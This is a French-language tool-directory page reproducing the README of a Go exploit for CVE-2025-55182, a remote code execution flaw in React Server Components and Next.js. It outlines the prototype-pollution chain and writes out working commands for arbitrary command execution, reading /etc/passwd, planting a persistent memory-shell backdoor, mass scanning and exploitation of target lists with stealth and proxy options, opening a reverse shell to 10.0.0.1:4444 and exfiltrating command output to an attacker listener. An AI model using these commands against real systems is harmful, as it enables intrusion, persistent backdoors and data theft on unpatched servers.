Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-55182-golang-PoC — Preuve de concept basée sur Go pour CVE-2025-55182, une RCE critique dans les composants serveur React. Comprend la vérification de vulnérabilités, l'exécution de commandes, l'injection de shell mémoire, un reverse shell, le scan par lots et le support proxy pour les tests de sécurité autorisés. | Kitploit
Outils/GitHubGitHub/keklick1337/cve-2025-55182-golang-poc
Analyse des VulnérabilitésExploitationExploitation d'Applications WebPost-ExploitationTests d'IntrusionCommandement et ContrôleRed TeamingOutil d'Accès à DistanceDéveloppement de Charges Utiles
GitHubkeklick1337/cve-2025-55182-golang-poc

CVE-2025-55182-golang-PoC

Voir le dépôtSite web
619il y a 9 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

À propos

Preuve de concept basée sur Go pour CVE-2025-55182, une RCE critique dans les composants serveur React. Comprend la vérification de vulnérabilités, l'exécution de commandes, l'injection de shell mémoire, un reverse shell, le scan par lots et le support proxy pour les tests de sécurité autorisés.

Partager

CVE-2025-55182 RCE des React Server Components - PoC en Go

⚠️ POUR TESTS DE SÉCURITÉ AUTORISÉS UNIQUEMENT ⚠️

Description

CVE-2025-55182 (également connue sous le nom de CVE-2025-66478) est une vulnérabilité critique d'exécution de code à distance (RCE) dans les React Server Components (protocole Flight). Cet outil est une implémentation Go du PoC pour la recherche en sécurité et les tests de pénétration autorisés.

Versions affectées :

  • react-server-dom-webpack : 19.0.0 - 19.2.0
  • Next.js : 15.x (avant correctifs : 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7)
  • Next.js : 16.x (avant 16.0.7)
  • Next.js : 14.3.0-canary.77 et versions canary ultérieures

Détails de la vulnérabilité

L'exploit exploite une pollution de prototype dans la désérialisation du protocole Flight :

  1. Utilise la désérialisation $@ pour obtenir une référence de Chunk
  2. Place Chunk.prototype.then comme propriété then de l'objet racine
  3. Définit le statut sur RESOLVED_MODEL pour appeler initializeModelChunk avec un faux chunk contrôlé
  4. Déclenche la désérialisation Blob qui appelle response._formData.get avec la charge utile de l'attaquant
  5. Définit response._formData.get sur le constructeur Function pour une exécution de code arbitraire

Fonctionnalités

  • Capacité RCE complète - Exécute des commandes arbitraires avec sortie
  • Mode vérification de vulnérabilité - Détection sécurisée sans exploitation
  • Détection de version Next.js - Empreinte numérique automatique de version
  • Injection de shell mémoire - Backdoor persistante à /exec?cmd=
  • Analyse par lots - Analyse multi-thread avec sortie JSON
  • Prise en charge complète des proxys :
    • SOCKS5 avec/sans authentification
    • SOCKS4/SOCKS4a
    • Proxy HTTP/HTTPS avec/sans authentification
  • Mode furtif - User-Agents de navigateur, crawler, sécurité
  • Limitation de débit - Délais configurables entre les requêtes
  • Reverse shell - mkfifo + nc (fonctionne sur Alpine/busybox)
  • Exfiltration de données - Envoi POST de la sortie de commande vers le serveur attaquant
  • Compilations multiplateformes - 30+ combinaisons OS/architecture
  • Sortie JSON - Résultats lisibles par machine pour l'automatisation

Installation

Binaires précompilés

Téléchargez la dernière version pour votre plateforme depuis GitHub Releases.

Binaires disponibles :

  • Linux : amd64, 386, arm, arm64, mips, mipsle, mips64, riscv64, ppc64, s390x
  • Windows : amd64, 386, arm64
  • macOS : amd64 (Intel), arm64 (Apple Silicon)
  • FreeBSD, OpenBSD, NetBSD : amd64, 386, arm, arm64
  • Et plus encore...

Depuis les sources

# Cloner le dépôt
git clone https://github.com/keklick1337/CVE-2025-55182-golang-PoC.git
cd CVE-2025-55182-golang-PoC

# Compiler pour la plateforme actuelle
go build -o cve-2025-55182 .

# Ou compiler pour toutes les plateformes
chmod +x build.sh
./build.sh

Compiler depuis les sources

Après avoir exécuté ./build.sh, les binaires seront disponibles dans le répertoire build/ pour toutes les plateformes supportées.

Utilisation

Commandes de base

# Vérifier une cible unique pour la vulnérabilité
./cve-2025-55182 -u http://cible:3000 --check

# Détecter la version de Next.js
./cve-2025-55182 -u http://cible:3000 --version-check

# Exécuter une commande avec sortie
./cve-2025-55182 -u http://cible:3000 -c "id"
./cve-2025-55182 -u http://cible:3000 -c "cat /etc/passwd"

Shell mémoire (Backdoor persistante)

# Injecter un shell mémoire (vérifie d'abord s'il est déjà installé)
./cve-2025-55182 -u http://cible:3000 --memshell

# Tester si le shell mémoire est actif
./cve-2025-55182 -u http://cible:3000 --test-shell

# Exécuter une commande via le shell mémoire
./cve-2025-55182 -u http://cible:3000 --shell-exec "cat /etc/passwd"

# Après l'injection, vous pouvez aussi utiliser curl directement :
curl 'http://cible:3000/exec?cmd=id'
curl 'http://cible:3000/exec?cmd=whoami'

En-têtes personnalisés et contournement SSL

# Ajouter des en-têtes personnalisés (peut être utilisé plusieurs fois)
./cve-2025-55182 -u http://cible:3000 --check -H 'Authorization: Bearer token123'
./cve-2025-55182 -u http://cible:3000 --check -H 'Host: example.com' -H 'X-Forwarded-For: 127.0.0.1'

# Ignorer la vérification du certificat SSL (pour les certificats auto-signés)
./cve-2025-55182 -u https://cible:3000 --check -k
./cve-2025-55182 -u https://cible:3000 --check --insecure

# Combiner avec d'autres options
./cve-2025-55182 -u https://cible:3000 -c "id" -k -H 'Cookie: session=abc123' --proxy socks5://127.0.0.1:1080

Prise en charge des proxys

# SOCKS5 avec authentification
./cve-2025-55182 -u http://cible:3000 --check --proxy socks5://user:[email protected]:1080

# SOCKS5 sans authentification
./cve-2025-55182 -u http://cible:3000 --check --proxy socks5://127.0.0.1:1080

# Proxy SOCKS4
./cve-2025-55182 -u http://cible:3000 --check --proxy socks4://127.0.0.1:1080

# Proxy HTTP
./cve-2025-55182 -u http://cible:3000 --check --proxy http://127.0.0.1:8080

Analyse par lots

# Vérification par lots depuis un fichier
./cve-2025-55182 --urls cibles.txt --check

# Analyse par lots avec sortie JSON
./cve-2025-55182 --urls cibles.txt --check --json -o resultats.json

# Analyse par lots avec plusieurs threads et mode furtif
./cve-2025-55182 -f cibles.txt --check --threads 20 --stealth crawler --delay 2s

# Sauvegarder les cibles vulnérables dans un fichier
./cve-2025-55182 -f cibles.txt --check -o vulnerable.txt

# Injection de shell mémoire par lots
./cve-2025-55182 --urls cibles.txt --memshell --workers 10

# Exécution de commande par lots
./cve-2025-55182 --urls cibles.txt -c "id" --threads 5

Exfiltration réseau

# Reverse shell (mkfifo + nc, fonctionne sur Alpine)
./cve-2025-55182 -u http://cible:3000 --revshell 10.0.0.1 4444

# Démarrer d'abord un écouteur sur la machine attaquante :
nc -lvnp 4444

# Exfiltrer la sortie de commande via HTTP POST
./cve-2025-55182 -u http://cible:3000 --exfil "cat /etc/passwd" 10.0.0.1 4444

# Démarrer l'écouteur : nc -lvnp 4444

Options

OptionDescription
-u, --urlURL cible (ex. http://localhost:3000)
-f, --fileFichier contenant les URL cibles (une par ligne)
--urlsAlias pour -f/--file
-o, --outputFichier de sortie pour les cibles vulnérables
--jsonAfficher les résultats au format JSON
-c, --commandCommande à exécuter (avec sortie)
--checkVérifier la vulnérabilité
--version-checkDétecter la version de Next.js
--proxyURL du proxy (socks5://user:pass@ip:port, socks4://ip:port, http://ip:port)
-H, --headerEn-tête personnalisé (peut être utilisé plusieurs fois)
-k, --insecureIgnorer la vérification du certificat SSL/TLS
--stealthMode furtif : browser, crawler, security (défaut : browser)
--delayDélai entre les requêtes (ex. 2s, 500ms)
--variantsUtiliser plusieurs variantes de payload pour une vérification approfondie
--memshellInjecter un shell mémoire (backdoor persistante)
--test-shellTester si le shell mémoire est actif
--shell-execExécuter une commande via le shell mémoire
--revshell IP PORTÉtablir un reverse shell
--exfil CMD IP PORTExécuter une commande et envoyer la sortie en POST
-t, --timeoutDélai d'attente de la requête en secondes (défaut : 15)
--threadsNombre de threads simultanés (défaut : 10)
--workersAlias pour --threads
--nocolorDésactiver la sortie colorée (pour Windows/pipes)
-h, --helpAfficher le message d'aide
-v, --versionAfficher la version

Types de proxy

Télécharger l’outil